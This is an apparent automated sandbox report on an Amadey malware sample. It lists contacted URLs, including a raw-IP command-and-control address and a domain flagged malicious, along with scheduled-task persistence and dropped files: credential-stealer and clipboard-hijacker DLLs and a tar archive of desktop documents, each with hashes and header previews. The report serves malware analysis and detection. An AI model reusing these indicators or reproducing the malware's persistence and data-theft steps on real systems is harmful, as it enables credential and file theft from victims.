https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	OpenWith.exe, 00000002.00000003.1861364952.000002427DAC0000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855904942.000002427DDFE000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1880112229.000002427DD98000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1864146303.000002427DB62000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1879922063.000002427DD94000.00000004.00000020.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aka.ms/Vh5j3k	explorer.exe, 0000000C.00000000.2080043693.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?&	explorer.exe, 0000000C.00000000.2082917976.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17t.mc_id=EnterPK201694ba2e0b-6	OpenWith.exe, 00000002.00000003.1855966331.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://android.notify.windows.com/iOS	explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://216.250.255.115:80/bed1f869ae125/cuur0lbc.msv7sQ=j	OpenWith.exe, 00000002.00000003.1857488476.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1879064718.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1878522581.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1964068733.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1856239118.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1854556321.000002427DB4A000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1861364952.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855629748.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1861905023.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1859135390.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1858602829.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1977684656.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1863049980.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855966331.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1864009305.000002427DB4B000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030715584.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1880164060.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1885103318.000002427DB48000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1854808225.000002427DB4A000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1860020445.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1856557665.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com/	explorer.exe, 0000000C.00000000.2082917976.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.com_	explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	OpenWith.exe, 00000002.00000003.1856393551.000002427DD3C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com:443/en-us/feed	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of	explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://216.250.255.115:80/bed1f869ae125/cuur0lbc.msv7skernelbasentdllkernel32GetProcessMitigationPo	dialer.exe, 00000001.00000002.1768797015.00000000055C7000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1767308212.000000000513F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2028636190.000002427BB70000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
216.250.255.115	unknown	United States		19019	AS-TIERP-19019US	false
185.196.8.137	atillapro.com	Switzerland		34888	SIMPLECARRER2IT	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1422947
Start date and time:	2024-04-09 14:52:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	e7CLP6462y.exe renamed because original name is a hash value
Original Sample Name:	d9a13bb5645fe754cdc2a10a638660f4.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@73/35@1/2
EGA Information:	Successful, ratio: 76.9%
HCA Information:	Successful, ratio: 65% Number of executed functions: 202 Number of non-executed functions: 236
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, consent.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target B677.exe, PID 1712 because there are no executed function
Execution Graph export aborted for target dialer.exe, PID 4280 because there are no executed function
Execution Graph export aborted for target dialer.exe, PID 7144 because there are no executed function
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:53:59	Task Scheduler	Run new task: Firefox Default Browser Agent B71F607C0132CBDB path: C:\Users\user\AppData\Roaming\utihrjr
13:54:03	Task Scheduler	Run new task: Utsysc.exe path: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
14:53:28	API Interceptor	2x Sleep call for process: AppLaunch.exe modified
14:53:29	API Interceptor	19x Sleep call for process: powershell.exe modified
14:53:42	API Interceptor	3498x Sleep call for process: explorer.exe modified
14:54:03	API Interceptor	633x Sleep call for process: Utsysc.exe modified
14:54:44	API Interceptor	32x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.196.8.137	HJoRg2I07j.exe	Get hash	malicious	Amadey	Browse	atillapro.com/vsdjcn3khS/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atillapro.com	HJoRg2I07j.exe	Get hash	malicious	Amadey	Browse	185.196.8.137
	7n4JyfzR1U.exe	Get hash	malicious	RHADAMANTHYS, SmokeLoader	Browse	94.156.65.121
	2TTkgBtLsB.exe	Get hash	malicious	Remcos, RHADAMANTHYS, SmokeLoader	Browse	185.196.8.205
	tjiXY8ehk5.exe	Get hash	malicious	Remcos, RHADAMANTHYS, SmokeLoader	Browse	185.196.8.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SIMPLECARRER2IT	HJoRg2I07j.exe	Get hash	malicious	Amadey	Browse	185.196.8.137
	XmztmwSit3.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
	If1BjZdkZh.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
	dYAd42NlXg.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
	63PPG1bWEo.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
	mZFiaBnsij.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
	Rechnung.pdf.lnk	Get hash	malicious	Vidar	Browse	185.196.8.158
	JWfFVrymKr.elf	Get hash	malicious	Mirai	Browse	185.196.8.213
	CgJxT081Ih.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
	shuJBFmlV9.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
AS-TIERP-19019US	purchase order.exe	Get hash	malicious	AveMaria, UACMe	Browse	216.250.253.35
	1FYNsY2F1u.elf	Get hash	malicious	Mirai	Browse	216.46.58.131
	BScLqtFVk7.elf	Get hash	malicious	Mirai	Browse	216.46.58.138
	skid.arm.elf	Get hash	malicious	Mirai	Browse	216.46.58.154
	d6wGnY9p8X.elf	Get hash	malicious	Unknown	Browse	216.46.58.130
	log21.armv7.elf	Get hash	malicious	Mirai, Moobot	Browse	216.46.58.137
	2UGFcVzLdR.exe	Get hash	malicious	Remcos, DBatLoader	Browse	216.250.254.209
	9H21pBlz0m.exe	Get hash	malicious	Remcos, DBatLoader	Browse	216.250.254.209
	iKxvPi63bN.exe	Get hash	malicious	Unknown	Browse	216.250.255.149
	DE0poPyldf.rtf	Get hash	malicious	Unknown	Browse	216.250.251.106

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\B88B.exe	HJoRg2I07j.exe	Get hash	malicious	Amadey	Browse
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	HJoRg2I07j.exe	Get hash	malicious	Amadey	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AppLaunch.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
File Type:	CSV text
Category:	modified
Size (bytes):	859
Entropy (8bit):	5.379735105545312
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6Khk:MxHKQ71qHGIs0HKCYHKGSI6ok
MD5:	66903BF8F31D4DE1B691C99CF8812A8A
SHA1:	6A49612CB1C2356F176B1B2E5481FB3CD0CB4289
SHA-256:	C09B65A3BA4819DAA12705C8C48400AD8F80B3B779954C14B9679396D252AF42
SHA-512:	A96F5D88E7B7A1C36D77AA9A42CA3513B70261F9B494F387A46F1DA01934E05F9659A0E8512D677DFC8602254C230CC7F370A83B916C329F908B645C5A2C247D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1019
Entropy (8bit):	5.236946495216897
Encrypted:	false
SSDEEP:	24:YqHZ6T06Mhm4ymNib0O0bihmCetmKg6CUXyhmimKgbxdB6hmjmKgz0JahmcmKgbR:YqHZ6T06McoEb0O0bicCewHDUXycLHbR
MD5:	5D20D9B3F928AC964E07C561FD8A3F42
SHA1:	B702BE149FCF94831A975F2CD06B2DFE020D9632
SHA-256:	59A4F22870D7A7DC3339917C89FF6AF09FA762AF39F0624338FDDFF631730492
SHA-512:	30E5F275FFB475A403439C3A4DCC05F3E12A6914D93F20EB38AF3240A7F693A455C25C005A3681AB39C89BFAD9AE66FAAE3874B987FAC48BB6A5439194FDCEDC
Malicious:	false
Preview:	{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":7763552,"LastSwitchedHighPart":31061488,"PrePopulated":true},{"AppID":"Microsoft.WindowsCommunicationsApps_8wekyb3d8bbwe!Microsoft.WindowsLive.Mail","PenUsageSec":15,"LastSwitchedLowPart":4292730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":4282730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4272730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":4262730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4252730848,"LastSwitchedHighPart":31061487,"Pr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1257472
Entropy (8bit):	6.460821604219607
Encrypted:	false
SSDEEP:	24576:gxYTyT6AMgQZvBHa726ZwccIIF1cV6n6zyYgEFzd6:lAMgQ7672swJIR06WF
MD5:	2A2F2CD836320D73654863E821B7D488
SHA1:	27227BC15623164D70CB56142DF2EEB395B056F4
SHA-256:	D1A323576F4D8F3681473523C237D6F71232EEA2570C2D2837CDF538A91CE3D0
SHA-512:	DACE05FFE9004EB9E1BA22288B97E17806037C0D666D4DBA86116F75E08AAE1A2A62A15E41C2A319CB51C19CE6F8366F281FCD78197962BEA7BB356F7FA3B8C8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 70%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.M#u.#pu.#pu.#p..'qg.#p.. q~.#p..&q.#p..&q3.#p..'qz.#p.. q\|.#p.."qx.#pu."p..#p..*qq.#p..#qt.#p...pt.#p..!qt.#pRichu.#p................PE..d...H.Oe.........." .....\..........H.....................................................`......................................... !..X...x!.......................................7..p...........................08...............p...............................text....Z.......\.................. ..`.rdata.......p.......`..............@..@.data...L....@...B...&..............@....pdata...............h..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	103936
Entropy (8bit):	6.391935613542699
Encrypted:	false
SSDEEP:	3072:mHEjxEgia++FOKm2KosmYruQRgIQrT7xUzYNS60Z:ysdvg2s9ruQRYhNS60Z
MD5:	4200C3DBC1DB31282178F66575E734ED
SHA1:	679773260BDD8E771E7D08641EB2CD82FDD0286D
SHA-256:	F5DC9EBD7C1BAC579956E39310965ABB222D25C334171AD8245354C20EC39867
SHA-512:	508E38A929E5E812D6552CCEE3653CB7C892295204556F696E0400FBEA57AD2B835B17833163D1719B01444102A8AB42A1EA026684F0ACDC9C6C1810B0585EBE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 69%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L...J.Oe...........!.................f....... ............................................@..........................y......Lz..P....................................n..8............................n..@............ ..H............................text............................... ..`.rdata...a... ...b..................@..@.data................t..............@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\246122658369

Download File

Process:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	98283
Entropy (8bit):	7.880164403890501
Encrypted:	false
SSDEEP:	1536:C3mO3p9k9+v9nT/XkW1dfDz99bRIHwwJczYkasiQmfVAXtDcoN2KAivMeHOaTkV6:XO3pykv9nge2H7cEsJmfVAXJfhOrV8qm
MD5:	627D34DF9289ADEEE743BA0C6B1A26C7
SHA1:	0EA7EEEC3BFC697E55CFCCADEA98B7D60FE4227F
SHA-256:	FBD60E50A879E0D4D0684E5DC0422820C0A4CB597444EDE18EA5179A5BDA40D1
SHA-512:	9FD6B913F5D5BE1CF55C00F92E30DC556C69C21C6B69029517B6A67F6047B3FACCACCFBED43657D29E38EB67041C03212926CC1F1C846CD7B2AE67171A1495BC
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.*bi.F.xJ.5KC"...N...m.g....Uf.....?.2......Q.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..o.<-...OF.....j.#?........x..........#..........9.+..........e\.../n-.n.dh.c...k....1.q...y5..r..N.)W...O.d.QEw.!E.P11E-v.....Z..tN.Lo..?.Xb1....Oc....&...W.8.+.?.]._.....G.R....n..............z...........w..#.......`..

C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	17408
Entropy (8bit):	3.688201719310172
Encrypted:	false
SSDEEP:	192:S8yXCN8gH8yXCN8g9B4XQ4GvDQGvDEPu6ZP9w+XfQDGIPZ:S8y0zH8y0z9Mc1Su6hXgGI
MD5:	11FA25243F6C654970502905308F645C
SHA1:	D799AF8561933DC19DF7E935EFB90FB74025DE81
SHA-256:	794842D662300153D3845CBC5C00229EF269634A9E9B26E61C68E2F6497E770D
SHA-512:	1B76510C0EBB5EBF6D0FDE4A4AC5308242DB1C8698B9B07F2E7369C87A63F610381A0254B7CAF7DE9E2056ADE46673292894B815F0F7B82E83C01E94F84382B5
Malicious:	false
Preview:	Users/user/AppData/Local/Temp/_Files_/DVWHKMNFNN.docx..............................................000666 .000000 .000000 .00000002002 14507252135 020615. 0....................................................................................................ustar.00................................................................000000 .000000 ........................................................................................................................................................................DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOS

C:\Users\user\AppData\Local\Temp\B677.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	490496
Entropy (8bit):	5.965355900803049
Encrypted:	false
SSDEEP:	12288:/rrb2iDiSOv4VBHMQhPymqTCYw4oUGbjnm:/7DB/Dym1YANPnm
MD5:	D9A13BB5645FE754CDC2A10A638660F4
SHA1:	9922A24B92892F920430AE204954DC6E6E1758FF
SHA-256:	82A6847B83BF25CB582BB942735A32197BD9B7B490CE50F34C4976005F4F9BED
SHA-512:	D51F1E2E9CCD77FC5DA91BDD7DBE5E7EAFC812497E27F171F2B1F3475BC11953E580321793BF127D850FBA0F1B244617DAA517283B9379BFBB16CFA36F6773BD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 58% Antivirus: Virustotal, Detection: 67%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b...&...&...&...I...$.......'...I...-.....L.+...&........2\|.$...&...$....2m.'....2i.'...Rich&...........................PE..L...^{_d.................Z..........Rg.......p....@..........................................................................r.......................................................................................p..<............................text....X.......Z.................. ..`.textbss.....p...........................rdata..H....p.......^..............@..@.data...D............l..............@....rsrc................n..............@..@.reloc...............r..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B88B.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446976
Entropy (8bit):	6.493556339745227
Encrypted:	false
SSDEEP:	12288:bRmHUjaD/yzl4gH8Mhb+L0mspumesPW1X8i5:naD/yzWgcxLirSsi5
MD5:	F1D836A36148E8D03BF2DF952E970FBD
SHA1:	8170E8A3633A479B9ABD91B31FD835CC2F34D690
SHA-256:	2FA632C146A49F8C954B231EBCC0DF2CCDBECD23797D084C423C0010F3380332
SHA-512:	E073B93F5F082C9E57DB409B54207BE262791D4297E34111116ECFBA381BD0828E1FD5FE4988AF56AD75429E2CEB087D9A0DA9F07D9EC82C2E1B0231FD74D778
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\B88B.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79% Antivirus: Virustotal, Detection: 76%, Browse
Joe Sandbox View:	Filename: HJoRg2I07j.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......wD..3%..3%..3%..hM..=%..hM...%..hM.. %...H..!%...H..'%...H..F%..hM.."%..3%...%...K..2%...Ko.2%...K..2%..Rich3%..........................PE..L...N.Oe...........................[........@....@.......................................@.................................lK...................................O.. ...8...........................X...@............@...............................text....(......................... ..`.rdata.......@......................@..@.data....F...`...4...L..............@....rsrc...............................@..@.reloc...O.......P..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BBE5.tmp

Download File

